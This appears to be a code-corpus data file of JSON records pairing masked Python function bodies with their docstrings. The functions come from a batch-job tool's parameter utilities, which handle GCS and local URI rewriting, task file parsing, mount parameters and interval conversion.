{"signature": "def _gcs_uri_rewriter(raw_uri):", "body": "docker_path = raw_uri.replace('<STR_LIT>', '<STR_LIT>', <NUM_LIT:1>)<EOL>return raw_uri, docker_path<EOL>", "docstring": "Rewrite GCS file paths as required by the rewrite_uris method.\n\n    The GCS rewriter performs no operations on the raw_path and simply returns\n    it as the normalized URI. The docker path has the gs:// prefix replaced\n    with gs/ so that it can be mounted inside a docker image.\n\n    Args:\n      raw_uri: (str) the raw GCS URI, prefix, or pattern.\n\n    Returns:\n      normalized: a cleaned version of the uri provided by command line.\n      docker_path: the uri rewritten in the format required for mounting inside\n                   a docker worker.", "id": "f6189:m0"}
{"signature": "def _local_uri_rewriter(raw_uri):", "body": "<EOL>raw_path, filename = os.path.split(raw_uri)<EOL>prefix_replacements = [('<STR_LIT>', '<STR_LIT:/>'), ('<STR_LIT>', os.getenv('<STR_LIT>')), ('<STR_LIT>',<EOL>'<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT:/>')]<EOL>normed_path = raw_path<EOL>for prefix, replacement in prefix_replacements:<EOL><INDENT>if normed_path.startswith(prefix):<EOL><INDENT>normed_path = os.path.join(replacement, normed_path[len(prefix):])<EOL><DEDENT><DEDENT>normed_uri = directory_fmt(os.path.abspath(normed_path))<EOL>normed_uri = os.path.join(normed_uri, filename)<EOL>docker_rewrites = [(r'<STR_LIT>', '<STR_LIT>'), (r'<STR_LIT>', '<STR_LIT>'),<EOL>(r'<STR_LIT>', '<STR_LIT>'), (r'<STR_LIT>', '<STR_LIT>')]<EOL>docker_path = os.path.normpath(raw_path)<EOL>for pattern, replacement in docker_rewrites:<EOL><INDENT>docker_path = re.sub(pattern, replacement, docker_path)<EOL><DEDENT>docker_path = docker_path.lstrip('<STR_LIT>')  <EOL>docker_path = directory_fmt('<STR_LIT>' + docker_path) + filename<EOL>return normed_uri, docker_path<EOL>", "docstring": "Rewrite local file URIs as required by the rewrite_uris method.\n\n    Local file paths, unlike GCS paths, may have their raw URI simplified by\n    os.path.normpath which collapses extraneous indirect characters.\n\n    >>> _local_uri_rewriter('/tmp/a_path/../B_PATH/file.txt')\n    ('/tmp/B_PATH/file.txt', 'file/tmp/B_PATH/file.txt')\n    >>> _local_uri_rewriter('/myhome/./mydir/')\n    ('/myhome/mydir/', 'file/myhome/mydir/')\n\n    The local path rewriter will also work to preserve relative paths even\n    when creating the docker path. This prevents leaking of information on the\n    invoker's system to the remote system. Doing this requires a number of path\n    substitutions denoted with the _<rewrite>_ convention.\n\n    >>> _local_uri_rewriter('./../upper_dir/')[1]\n    'file/_dotdot_/upper_dir/'\n    >>> _local_uri_rewriter('~/localdata/*.bam')[1]\n    'file/_home_/localdata/*.bam'\n\n    Args:\n      raw_uri: (str) the raw file or directory path.\n\n    Returns:\n      normalized: a simplified and/or expanded version of the uri.\n      docker_path: the uri rewritten in the format required for mounting inside\n                   a docker worker.", "id": "f6189:m1"}
{"signature": "def get_gcs_mounts(mounts):", "body": "return _get_filtered_mounts(mounts, job_model.GCSMountParam)<EOL>", "docstring": "Returns the GCS mounts from mounts.", "id": "f6189:m2"}
{"signature": "def get_persistent_disk_mounts(mounts):", "body": "return _get_filtered_mounts(mounts, job_model.PersistentDiskMountParam)<EOL>", "docstring": "Returns the persistent disk mounts from mounts.", "id": "f6189:m3"}
{"signature": "def get_local_mounts(mounts):", "body": "return _get_filtered_mounts(mounts, job_model.LocalMountParam)<EOL>", "docstring": "Returns the local mounts from mounts.", "id": "f6189:m4"}
{"signature": "def _get_filtered_mounts(mounts, mount_param_type):", "body": "return set([mount for mount in mounts if isinstance(mount, mount_param_type)])<EOL>", "docstring": "Helper function to return an appropriate set of mount parameters.", "id": "f6189:m5"}
{"signature": "def build_logging_param(logging_uri, util_class=OutputFileParamUtil):", "body": "if not logging_uri:<EOL><INDENT>return job_model.LoggingParam(None, None)<EOL><DEDENT>recursive = not logging_uri.endswith('<STR_LIT>')<EOL>oututil = util_class('<STR_LIT>')<EOL>_, uri, provider = oututil.parse_uri(logging_uri, recursive)<EOL>if '<STR_LIT:*>' in uri.basename:<EOL><INDENT>raise ValueError('<STR_LIT>' % uri)<EOL><DEDENT>return job_model.LoggingParam(uri, provider)<EOL>", "docstring": "Convenience function simplifies construction of the logging uri.", "id": "f6189:m6"}
{"signature": "def split_pair(pair_string, separator, nullable_idx=<NUM_LIT:1>):", "body": "pair = pair_string.split(separator, <NUM_LIT:1>)<EOL>if len(pair) == <NUM_LIT:1>:<EOL><INDENT>if nullable_idx == <NUM_LIT:0>:<EOL><INDENT>return [None, pair[<NUM_LIT:0>]]<EOL><DEDENT>elif nullable_idx == <NUM_LIT:1>:<EOL><INDENT>return [pair[<NUM_LIT:0>], None]<EOL><DEDENT>else:<EOL><INDENT>raise IndexError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return pair<EOL><DEDENT>", "docstring": "Split a string into a pair, which can have one empty value.\n\n    Args:\n      pair_string: The string to be split.\n      separator: The separator to be used for splitting.\n      nullable_idx: The location to be set to null if the separator is not in the\n                    input string. Should be either 0 or 1.\n\n    Returns:\n      A list containing the pair.\n\n    Raises:\n      IndexError: If nullable_idx is not 0 or 1.", "id": "f6189:m7"}
{"signature": "def parse_tasks_file_header(header, input_file_param_util,<EOL>output_file_param_util):", "body": "job_params = []<EOL>for col in header:<EOL><INDENT>col_type = '<STR_LIT>'<EOL>col_value = col<EOL>if col.startswith('<STR_LIT:->'):<EOL><INDENT>col_type, col_value = split_pair(col, '<STR_LIT:U+0020>', <NUM_LIT:1>)<EOL><DEDENT>if col_type == '<STR_LIT>':<EOL><INDENT>job_params.append(job_model.EnvParam(col_value))<EOL><DEDENT>elif col_type == '<STR_LIT>':<EOL><INDENT>job_params.append(job_model.LabelParam(col_value))<EOL><DEDENT>elif col_type == '<STR_LIT>' or col_type == '<STR_LIT>':<EOL><INDENT>name = input_file_param_util.get_variable_name(col_value)<EOL>job_params.append(<EOL>job_model.InputFileParam(<EOL>name, recursive=(col_type.endswith('<STR_LIT>'))))<EOL><DEDENT>elif col_type == '<STR_LIT>' or col_type == '<STR_LIT>':<EOL><INDENT>name = output_file_param_util.get_variable_name(col_value)<EOL>job_params.append(<EOL>job_model.OutputFileParam(<EOL>name, recursive=(col_type.endswith('<STR_LIT>'))))<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % col)<EOL><DEDENT><DEDENT>return job_params<EOL>", "docstring": "Parse the header from the tasks file into env, input, output definitions.\n\n    Elements are formatted similar to their equivalent command-line arguments,\n    but with associated values coming from the data rows.\n\n    Environment variables columns are headered as \"--env <name>\"\n    Inputs columns are headered as \"--input <name>\" with the name optional.\n    Outputs columns are headered as \"--output <name>\" with the name optional.\n\n    For historical reasons, bareword column headers (such as \"JOB_ID\") are\n    equivalent to \"--env var_name\".\n\n    Args:\n      header: Array of header fields\n      input_file_param_util: Utility for producing InputFileParam objects.\n      output_file_param_util: Utility for producing OutputFileParam objects.\n\n    Returns:\n      job_params: A list of EnvParams and FileParams for the environment\n      variables, LabelParams, input file parameters, and output file parameters.\n\n    Raises:\n      ValueError: If a header contains a \":\" and the prefix is not supported.", "id": "f6189:m8"}
{"signature": "def tasks_file_to_task_descriptors(tasks, retries, input_file_param_util,<EOL>output_file_param_util):", "body": "task_descriptors = []<EOL>path = tasks['<STR_LIT:path>']<EOL>task_min = tasks.get('<STR_LIT>')<EOL>task_max = tasks.get('<STR_LIT>')<EOL>param_file = dsub_util.load_file(path)<EOL>reader = csv.reader(param_file, delimiter='<STR_LIT:\\t>')<EOL>header = six.advance_iterator(reader)<EOL>job_params = parse_tasks_file_header(header, input_file_param_util,<EOL>output_file_param_util)<EOL>for row in reader:<EOL><INDENT>task_id = reader.line_num - <NUM_LIT:1><EOL>if task_min and task_id < task_min:<EOL><INDENT>continue<EOL><DEDENT>if task_max and task_id > task_max:<EOL><INDENT>continue<EOL><DEDENT>if len(row) != len(job_params):<EOL><INDENT>dsub_util.print_error('<STR_LIT>' %<EOL>(len(row), len(job_params), reader.line_num))<EOL><DEDENT>envs = set()<EOL>inputs = set()<EOL>outputs = set()<EOL>labels = set()<EOL>for i in range(<NUM_LIT:0>, len(job_params)):<EOL><INDENT>param = job_params[i]<EOL>name = param.name<EOL>if isinstance(param, job_model.EnvParam):<EOL><INDENT>envs.add(job_model.EnvParam(name, row[i]))<EOL><DEDENT>elif isinstance(param, job_model.LabelParam):<EOL><INDENT>labels.add(job_model.LabelParam(name, row[i]))<EOL><DEDENT>elif isinstance(param, job_model.InputFileParam):<EOL><INDENT>inputs.add(<EOL>input_file_param_util.make_param(name, row[i], param.recursive))<EOL><DEDENT>elif isinstance(param, job_model.OutputFileParam):<EOL><INDENT>outputs.add(<EOL>output_file_param_util.make_param(name, row[i], param.recursive))<EOL><DEDENT><DEDENT>task_descriptors.append(<EOL>job_model.TaskDescriptor({<EOL>'<STR_LIT>': task_id,<EOL>'<STR_LIT>': <NUM_LIT:1> if retries else None<EOL>}, {<EOL>'<STR_LIT>': labels,<EOL>'<STR_LIT>': envs,<EOL>'<STR_LIT>': inputs,<EOL>'<STR_LIT>': outputs<EOL>}, job_model.Resources()))<EOL><DEDENT>if not task_descriptors:<EOL><INDENT>raise ValueError('<STR_LIT>' % path)<EOL><DEDENT>return task_descriptors<EOL>", "docstring": "Parses task parameters from a TSV.\n\n    Args:\n      tasks: Dict containing the path to a TSV file and task numbers to run\n      variables, input, and output parameters as column headings. Subsequent\n      lines specify parameter values, one row per job.\n      retries: Number of retries allowed.\n      input_file_param_util: Utility for producing InputFileParam objects.\n      output_file_param_util: Utility for producing OutputFileParam objects.\n\n    Returns:\n      task_descriptors: an array of records, each containing the task-id,\n      task-attempt, 'envs', 'inputs', 'outputs', 'labels' that defines the set of\n      parameters for each task of the job.\n\n    Raises:\n      ValueError: If no job records were provided", "id": "f6189:m9"}
{"signature": "def parse_pair_args(labels, argclass):", "body": "label_data = set()<EOL>for arg in labels:<EOL><INDENT>name, value = split_pair(arg, '<STR_LIT:=>', nullable_idx=<NUM_LIT:1>)<EOL>label_data.add(argclass(name, value))<EOL><DEDENT>return label_data<EOL>", "docstring": "Parse flags of key=value pairs and return a list of argclass.\n\n    For pair variables, we need to:\n       * split the input into name=value pairs (value optional)\n       * Create the EnvParam object\n\n    Args:\n      labels: list of 'key' or 'key=value' strings.\n      argclass: Container class for args, must instantiate with argclass(k, v).\n\n    Returns:\n      list of argclass objects.", "id": "f6189:m10"}
{"signature": "def args_to_job_params(envs, labels, inputs, inputs_recursive, outputs,<EOL>outputs_recursive, mounts, input_file_param_util,<EOL>output_file_param_util, mount_param_util):", "body": "<EOL>env_data = parse_pair_args(envs, job_model.EnvParam)<EOL>label_data = parse_pair_args(labels, job_model.LabelParam)<EOL>input_data = set()<EOL>for (recursive, args) in ((False, inputs), (True, inputs_recursive)):<EOL><INDENT>for arg in args:<EOL><INDENT>name, value = split_pair(arg, '<STR_LIT:=>', nullable_idx=<NUM_LIT:0>)<EOL>name = input_file_param_util.get_variable_name(name)<EOL>input_data.add(input_file_param_util.make_param(name, value, recursive))<EOL><DEDENT><DEDENT>output_data = set()<EOL>for (recursive, args) in ((False, outputs), (True, outputs_recursive)):<EOL><INDENT>for arg in args:<EOL><INDENT>name, value = split_pair(arg, '<STR_LIT:=>', <NUM_LIT:0>)<EOL>name = output_file_param_util.get_variable_name(name)<EOL>output_data.add(output_file_param_util.make_param(name, value, recursive))<EOL><DEDENT><DEDENT>mount_data = set()<EOL>for arg in mounts:<EOL><INDENT>if '<STR_LIT:U+0020>' in arg:<EOL><INDENT>key_value_pair, disk_size = arg.split('<STR_LIT:U+0020>')<EOL>name, value = split_pair(key_value_pair, '<STR_LIT:=>', <NUM_LIT:1>)<EOL>mount_data.add(mount_param_util.make_param(name, value, disk_size))<EOL><DEDENT>else:<EOL><INDENT>name, value = split_pair(arg, '<STR_LIT:=>', <NUM_LIT:1>)<EOL>mount_data.add(mount_param_util.make_param(name, value, disk_size=None))<EOL><DEDENT><DEDENT>return {<EOL>'<STR_LIT>': env_data,<EOL>'<STR_LIT>': input_data,<EOL>'<STR_LIT>': output_data,<EOL>'<STR_LIT>': label_data,<EOL>'<STR_LIT>': mount_data,<EOL>}<EOL>", "docstring": "Parse env, input, and output parameters into a job parameters and data.\n\n    Passing arguments on the command-line allows for launching a single job.\n    The env, input, and output arguments encode both the definition of the\n    job as well as the single job's values.\n\n    Env arguments are simple name=value pairs.\n    Input and output file arguments can contain name=value pairs or just values.\n    Either of the following is valid:\n\n      uri\n      myfile=uri\n\n    Args:\n      envs: list of environment variable job parameters\n      labels: list of labels to attach to the tasks\n      inputs: list of file input parameters\n      inputs_recursive: list of recursive directory input parameters\n      outputs: list of file output parameters\n      outputs_recursive: list of recursive directory output parameters\n      mounts: list of gcs buckets to mount\n      input_file_param_util: Utility for producing InputFileParam objects.\n      output_file_param_util: Utility for producing OutputFileParam objects.\n      mount_param_util: Utility for producing MountParam objects.\n\n    Returns:\n      job_params: a dictionary of 'envs', 'inputs', and 'outputs' that defines the\n      set of parameters and data for a job.", "id": "f6189:m11"}
{"signature": "def validate_submit_args_or_fail(job_descriptor, provider_name, input_providers,<EOL>output_providers, logging_providers):", "body": "job_resources = job_descriptor.job_resources<EOL>job_params = job_descriptor.job_params<EOL>task_descriptors = job_descriptor.task_descriptors<EOL>_validate_providers([job_resources.logging], '<STR_LIT>', logging_providers,<EOL>provider_name)<EOL>_validate_providers(job_params['<STR_LIT>'], '<STR_LIT:input>', input_providers,<EOL>provider_name)<EOL>_validate_providers(job_params['<STR_LIT>'], '<STR_LIT>', output_providers,<EOL>provider_name)<EOL>for task_descriptor in task_descriptors:<EOL><INDENT>_validate_providers(task_descriptor.task_params['<STR_LIT>'], '<STR_LIT:input>',<EOL>input_providers, provider_name)<EOL>_validate_providers(task_descriptor.task_params['<STR_LIT>'], '<STR_LIT>',<EOL>output_providers, provider_name)<EOL><DEDENT>", "docstring": "Validate that arguments passed to submit_job have valid file providers.\n\n    This utility function takes resources and task data args from `submit_job`\n    in the base provider. This function will fail with a value error if any of the\n    parameters are not valid. See the following example;\n\n    >>> job_resources = type('', (object,),\n    ...    {\"logging\": job_model.LoggingParam('gs://logtemp', job_model.P_GCS)})()\n    >>> job_params={'inputs': set(), 'outputs': set(), 'mounts': set()}\n    >>> task_descriptors = [\n    ...     job_model.TaskDescriptor(None, {\n    ...       'inputs': {\n    ...           job_model.FileParam('IN', uri='gs://in/*',\n    ...                               file_provider=job_model.P_GCS)},\n    ...       'outputs': set()}, None),\n    ...     job_model.TaskDescriptor(None, {\n    ...       'inputs': set(),\n    ...       'outputs': {\n    ...           job_model.FileParam('OUT', uri='gs://out/*',\n    ...                               file_provider=job_model.P_GCS)}}, None)]\n    ...\n    >>> validate_submit_args_or_fail(job_model.JobDescriptor(None, job_params,\n    ...                              job_resources, task_descriptors),\n    ...                              provider_name='MYPROVIDER',\n    ...                              input_providers=[job_model.P_GCS],\n    ...                              output_providers=[job_model.P_GCS],\n    ...                              logging_providers=[job_model.P_GCS])\n    ...\n    >>> validate_submit_args_or_fail(job_model.JobDescriptor(None, job_params,\n    ...                              job_resources, task_descriptors),\n    ...                              provider_name='MYPROVIDER',\n    ...                              input_providers=[job_model.P_GCS],\n    ...                              output_providers=[job_model.P_LOCAL],\n    ...                              logging_providers=[job_model.P_GCS])\n    Traceback (most recent call last):\n         ...\n    ValueError: Unsupported output path (gs://out/*) for provider 'MYPROVIDER'.\n\n    Args:\n      job_descriptor: instance of job_model.JobDescriptor.\n      provider_name: (str) the name of the execution provider.\n      input_providers: (string collection) whitelist of file providers for input.\n      output_providers: (string collection) whitelist of providers for output.\n      logging_providers: (string collection) whitelist of providers for logging.\n\n    Raises:\n      ValueError: if any file providers do not match the whitelists.", "id": "f6189:m13"}
{"signature": "def directory_fmt(directory):", "body": "return directory.rstrip('<STR_LIT:/>') + '<STR_LIT:/>'<EOL>", "docstring": "In ensure that directories end with '/'.\n\n    Frequently we need to ensure that directory paths end with a forward slash.\n    Pythons dirname and split functions in the path library treat this\n    inconsistently creating this requirement. This function is simple but was\n    written to centralize documentation of an often used (and often explained)\n    requirement in this codebase.\n\n    >>> os.path.dirname('gs://bucket/folder/file.txt')\n    'gs://bucket/folder'\n    >>> directory_fmt(os.path.dirname('gs://bucket/folder/file.txt'))\n    'gs://bucket/folder/'\n    >>> os.path.dirname('/newfile')\n    '/'\n    >>> directory_fmt(os.path.dirname('/newfile'))\n    '/'\n\n    Specifically we need this since copy commands must know whether the\n    destination is a directory to function properly. See the following shell\n    interaction for an example of the inconsistency. Notice that text files are\n    copied as expected but the bam is copied over the directory name.\n\n    Multiple files copy, works as intended in all cases:\n        $ touch a.txt b.txt\n        $ gsutil cp ./*.txt gs://mybucket/text_dest\n        $ gsutil ls gs://mybucket/text_dest/\n              0  2017-07-19T21:44:36Z  gs://mybucket/text_dest/a.txt\n              0  2017-07-19T21:44:36Z  gs://mybucket/text_dest/b.txt\n        TOTAL: 2 objects, 0 bytes (0 B)\n\n    Single file copy fails to copy into a directory:\n        $ touch 1.bam\n        $ gsutil cp ./*.bam gs://mybucket/bad_dest\n        $ gsutil ls gs://mybucket/bad_dest\n                 0  2017-07-19T21:46:16Z  gs://mybucket/bad_dest\n        TOTAL: 1 objects, 0 bytes (0 B)\n\n    Adding a trailing forward slash fixes this:\n        $ touch my.sam\n        $ gsutil cp ./*.sam gs://mybucket/good_folder\n        $ gsutil ls gs://mybucket/good_folder\n                 0  2017-07-19T21:46:16Z  gs://mybucket/good_folder/my.sam\n        TOTAL: 1 objects, 0 bytes (0 B)\n\n    Args:\n      directory (str): a uri without an blob or file basename.\n\n    Returns:\n      the directory with a trailing slash.", "id": "f6189:m14"}
{"signature": "def handle_version_flag():", "body": "parser = argparse.ArgumentParser(description='<STR_LIT>', add_help=False)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT:version>', action='<STR_LIT:store_true>')<EOL>parser.set_defaults(version=False)<EOL>args, _ = parser.parse_known_args()<EOL>if args.version:<EOL><INDENT>print('<STR_LIT>' % DSUB_VERSION)<EOL>sys.exit()<EOL><DEDENT>", "docstring": "If the --version flag is passed, print version to stdout and exit.\n\n    Within dsub commands, --version should be the highest priority flag.\n    This function supplies a repeatable and DRY way of checking for the\n    version flag and printing the version. Callers still need to define a version\n    flag in the command's flags so that it shows up in help output.", "id": "f6189:m15"}
{"signature": "def age_to_create_time(age, from_time=None):", "body": "if not age:<EOL><INDENT>return None<EOL><DEDENT>if not from_time:<EOL><INDENT>from_time = dsub_util.replace_timezone(datetime.datetime.now(), tzlocal())<EOL><DEDENT>try:<EOL><INDENT>last_char = age[-<NUM_LIT:1>]<EOL>if last_char == '<STR_LIT:s>':<EOL><INDENT>return from_time - datetime.timedelta(seconds=int(age[:-<NUM_LIT:1>]))<EOL><DEDENT>elif last_char == '<STR_LIT:m>':<EOL><INDENT>return from_time - datetime.timedelta(minutes=int(age[:-<NUM_LIT:1>]))<EOL><DEDENT>elif last_char == '<STR_LIT:h>':<EOL><INDENT>return from_time - datetime.timedelta(hours=int(age[:-<NUM_LIT:1>]))<EOL><DEDENT>elif last_char == '<STR_LIT:d>':<EOL><INDENT>return from_time - datetime.timedelta(days=int(age[:-<NUM_LIT:1>]))<EOL><DEDENT>elif last_char == '<STR_LIT:w>':<EOL><INDENT>return from_time - datetime.timedelta(weeks=int(age[:-<NUM_LIT:1>]))<EOL><DEDENT>else:<EOL><INDENT>return dsub_util.replace_timezone(<EOL>datetime.datetime.utcfromtimestamp(int(age)), pytz.utc)<EOL><DEDENT><DEDENT>except (ValueError, OverflowError) as e:<EOL><INDENT>raise ValueError('<STR_LIT>' % (age, e))<EOL><DEDENT>", "docstring": "Compute the create time (UTC) for the list filter.\n\n    If the age is an integer value it is treated as a UTC date.\n    Otherwise the value must be of the form \"<integer><unit>\" where supported\n    units are s, m, h, d, w (seconds, minutes, hours, days, weeks).\n\n    Args:\n      age: A \"<integer><unit>\" string or integer value.\n      from_time:\n\n    Returns:\n      A timezone-aware datetime or None if age parameter is empty.", "id": "f6189:m16"}
{"signature": "def _interval_to_seconds(interval, valid_units='<STR_LIT>'):", "body": "if not interval:<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>last_char = interval[-<NUM_LIT:1>]<EOL>if last_char == '<STR_LIT:s>' and '<STR_LIT:s>' in valid_units:<EOL><INDENT>return str(float(interval[:-<NUM_LIT:1>])) + '<STR_LIT:s>'<EOL><DEDENT>elif last_char == '<STR_LIT:m>' and '<STR_LIT:m>' in valid_units:<EOL><INDENT>return str(float(interval[:-<NUM_LIT:1>]) * <NUM_LIT>) + '<STR_LIT:s>'<EOL><DEDENT>elif last_char == '<STR_LIT:h>' and '<STR_LIT:h>' in valid_units:<EOL><INDENT>return str(float(interval[:-<NUM_LIT:1>]) * <NUM_LIT> * <NUM_LIT>) + '<STR_LIT:s>'<EOL><DEDENT>elif last_char == '<STR_LIT:d>' and '<STR_LIT:d>' in valid_units:<EOL><INDENT>return str(float(interval[:-<NUM_LIT:1>]) * <NUM_LIT> * <NUM_LIT> * <NUM_LIT>) + '<STR_LIT:s>'<EOL><DEDENT>elif last_char == '<STR_LIT:w>' and '<STR_LIT:w>' in valid_units:<EOL><INDENT>return str(float(interval[:-<NUM_LIT:1>]) * <NUM_LIT> * <NUM_LIT> * <NUM_LIT> * <NUM_LIT:7>) + '<STR_LIT:s>'<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % (interval, last_char))<EOL><DEDENT><DEDENT>except (ValueError, OverflowError) as e:<EOL><INDENT>raise ValueError('<STR_LIT>' % (interval, e))<EOL><DEDENT>", "docstring": "Convert the timeout duration to seconds.\n\n    The value must be of the form \"<integer><unit>\" where supported\n    units are s, m, h, d, w (seconds, minutes, hours, days, weeks).\n\n    Args:\n      interval: A \"<integer><unit>\" string.\n      valid_units: A list of supported units.\n\n    Returns:\n      A string of the form \"<integer>s\" or None if timeout is empty.", "id": "f6189:m17"}
{"signature": "def get_variable_name(self, name):", "body": "if not name:<EOL><INDENT>name = '<STR_LIT>' % (self._auto_prefix, self._auto_index)<EOL>self._auto_index += <NUM_LIT:1><EOL><DEDENT>return name<EOL>", "docstring": "Produce a default variable name if none is specified.", "id": "f6189:c1:m1"}
{"signature": "def rewrite_uris(self, raw_uri, file_provider):", "body": "if file_provider == job_model.P_GCS:<EOL><INDENT>normalized, docker_path = _gcs_uri_rewriter(raw_uri)<EOL><DEDENT>elif file_provider == job_model.P_LOCAL:<EOL><INDENT>normalized, docker_path = _local_uri_rewriter(raw_uri)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % file_provider)<EOL><DEDENT>return normalized, os.path.join(self._relative_path, docker_path)<EOL>", "docstring": "Accept a raw uri and return rewritten versions.\n\n        This function returns a normalized URI and a docker path. The normalized\n        URI may have minor alterations meant to disambiguate and prepare for use\n        by shell utilities that may require a specific format.\n\n        The docker rewriter makes substantial modifications to the raw URI when\n        constructing a docker path, but modifications must follow these rules:\n          1) System specific characters are not allowed (ex. indirect paths).\n          2) The path, if it is a directory, must end in a forward slash.\n          3) The path will begin with the value set in self._relative_path.\n          4) The path will have an additional prefix (after self._relative_path) set\n             by the file provider-specific rewriter.\n\n        Rewrite output for the docker path:\n          >>> out_util = FileParamUtil('AUTO_', 'output')\n          >>> out_util.rewrite_uris('gs://mybucket/myfile.txt', job_model.P_GCS)[1]\n          'output/gs/mybucket/myfile.txt'\n          >>> out_util.rewrite_uris('./data/myfolder/', job_model.P_LOCAL)[1]\n          'output/file/data/myfolder/'\n\n        When normalizing the URI for cloud buckets, no rewrites are done. For local\n        files, the user directory will be expanded and relative paths will be\n        converted to absolute:\n          >>> in_util = FileParamUtil('AUTO_', 'input')\n          >>> in_util.rewrite_uris('gs://mybucket/gcs_dir/', job_model.P_GCS)[0]\n          'gs://mybucket/gcs_dir/'\n          >>> in_util.rewrite_uris('/data/./dir_a/../myfile.txt',\n          ...   job_model.P_LOCAL)[0]\n          '/data/myfile.txt'\n          >>> in_util.rewrite_uris('file:///tmp/data/*.bam', job_model.P_LOCAL)[0]\n          '/tmp/data/*.bam'\n\n        Args:\n          raw_uri: (str) the path component of the raw URI.\n          file_provider: a valid provider (contained in job_model.FILE_PROVIDERS).\n\n        Returns:\n          normalized: a cleaned version of the uri provided by command line.\n          docker_path: the uri rewritten in the format required for mounting inside\n                       a docker worker.\n\n        Raises:\n          ValueError: if file_provider is not valid.", "id": "f6189:c1:m2"}
{"signature": "@staticmethod<EOL><INDENT>def parse_file_provider(uri):<DEDENT>", "body": "providers = {'<STR_LIT>': job_model.P_GCS, '<STR_LIT:file>': job_model.P_LOCAL}<EOL>provider_found = re.match(r'<STR_LIT>', uri)<EOL>if provider_found:<EOL><INDENT>prefix = provider_found.group(<NUM_LIT:1>).lower()<EOL><DEDENT>else:<EOL><INDENT>prefix = '<STR_LIT:file>'<EOL><DEDENT>if prefix in providers:<EOL><INDENT>return providers[prefix]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % prefix)<EOL><DEDENT>", "docstring": "Find the file provider for a URI.", "id": "f6189:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _validate_paths_or_fail(uri, recursive):<DEDENT>", "body": "path, filename = os.path.split(uri)<EOL>if '<STR_LIT:[>' in uri or '<STR_LIT:]>' in uri:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % uri)<EOL><DEDENT>if '<STR_LIT:?>' in uri:<EOL><INDENT>raise ValueError('<STR_LIT>' % uri)<EOL><DEDENT>if '<STR_LIT:*>' in path:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % uri)<EOL><DEDENT>if '<STR_LIT>' in filename:<EOL><INDENT>raise ValueError('<STR_LIT>' % uri)<EOL><DEDENT>if filename in ('<STR_LIT:..>', '<STR_LIT:.>'):<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % uri)<EOL><DEDENT>if not recursive and not filename:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % uri)<EOL><DEDENT>", "docstring": "Do basic validation of the uri, return the path and filename.", "id": "f6189:c1:m4"}
{"signature": "def parse_uri(self, raw_uri, recursive):", "body": "<EOL>if recursive:<EOL><INDENT>raw_uri = directory_fmt(raw_uri)<EOL><DEDENT>file_provider = self.parse_file_provider(raw_uri)<EOL>self._validate_paths_or_fail(raw_uri, recursive)<EOL>uri, docker_uri = self.rewrite_uris(raw_uri, file_provider)<EOL>uri_parts = job_model.UriParts(<EOL>directory_fmt(os.path.dirname(uri)), os.path.basename(uri))<EOL>return docker_uri, uri_parts, file_provider<EOL>", "docstring": "Return a valid docker_path, uri, and file provider from a flag value.", "id": "f6189:c1:m5"}
{"signature": "def make_param(self, name, raw_uri, recursive):", "body": "if not raw_uri:<EOL><INDENT>return self.param_class(name, None, None, None, recursive, None)<EOL><DEDENT>docker_path, uri_parts, provider = self.parse_uri(raw_uri, recursive)<EOL>return self.param_class(name, raw_uri, docker_path, uri_parts, recursive,<EOL>provider)<EOL>", "docstring": "Return a *FileParam given an input uri.", "id": "f6189:c1:m6"}
{"signature": "def _parse_image_uri(self, raw_uri):", "body": "<EOL>docker_uri = os.path.join(self._relative_path,<EOL>raw_uri.replace('<STR_LIT>', '<STR_LIT>', <NUM_LIT:1>))<EOL>return docker_uri<EOL>", "docstring": "Return a valid docker_path from a Google Persistent Disk url.", "id": "f6189:c4:m1"}
{"signature": "def _parse_local_mount_uri(self, raw_uri):", "body": "raw_uri = directory_fmt(raw_uri)<EOL>_, docker_path = _local_uri_rewriter(raw_uri)<EOL>local_path = docker_path[len('<STR_LIT:file>'):]<EOL>docker_uri = os.path.join(self._relative_path, docker_path)<EOL>return local_path, docker_uri<EOL>", "docstring": "Return a valid docker_path for a local file path.", "id": "f6189:c4:m2"}
{"signature": "def _parse_gcs_uri(self, raw_uri):", "body": "<EOL>raw_uri = directory_fmt(raw_uri)<EOL>_, docker_path = _gcs_uri_rewriter(raw_uri)<EOL>docker_uri = os.path.join(self._relative_path, docker_path)<EOL>return docker_uri<EOL>", "docstring": "Return a valid docker_path for a GCS bucket.", "id": "f6189:c4:m3"}
{"signature": "def make_param(self, name, raw_uri, disk_size):", "body": "if raw_uri.startswith('<STR_LIT>'):<EOL><INDENT>docker_path = self._parse_image_uri(raw_uri)<EOL>return job_model.PersistentDiskMountParam(<EOL>name, raw_uri, docker_path, disk_size, disk_type=None)<EOL><DEDENT>elif raw_uri.startswith('<STR_LIT>'):<EOL><INDENT>local_path, docker_path = self._parse_local_mount_uri(raw_uri)<EOL>return job_model.LocalMountParam(name, raw_uri, docker_path, local_path)<EOL><DEDENT>elif raw_uri.startswith('<STR_LIT>'):<EOL><INDENT>docker_path = self._parse_gcs_uri(raw_uri)<EOL>return job_model.GCSMountParam(name, raw_uri, docker_path)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(raw_uri))<EOL><DEDENT>", "docstring": "Return a MountParam given a GCS bucket, disk image or local path.", "id": "f6189:c4:m4"}
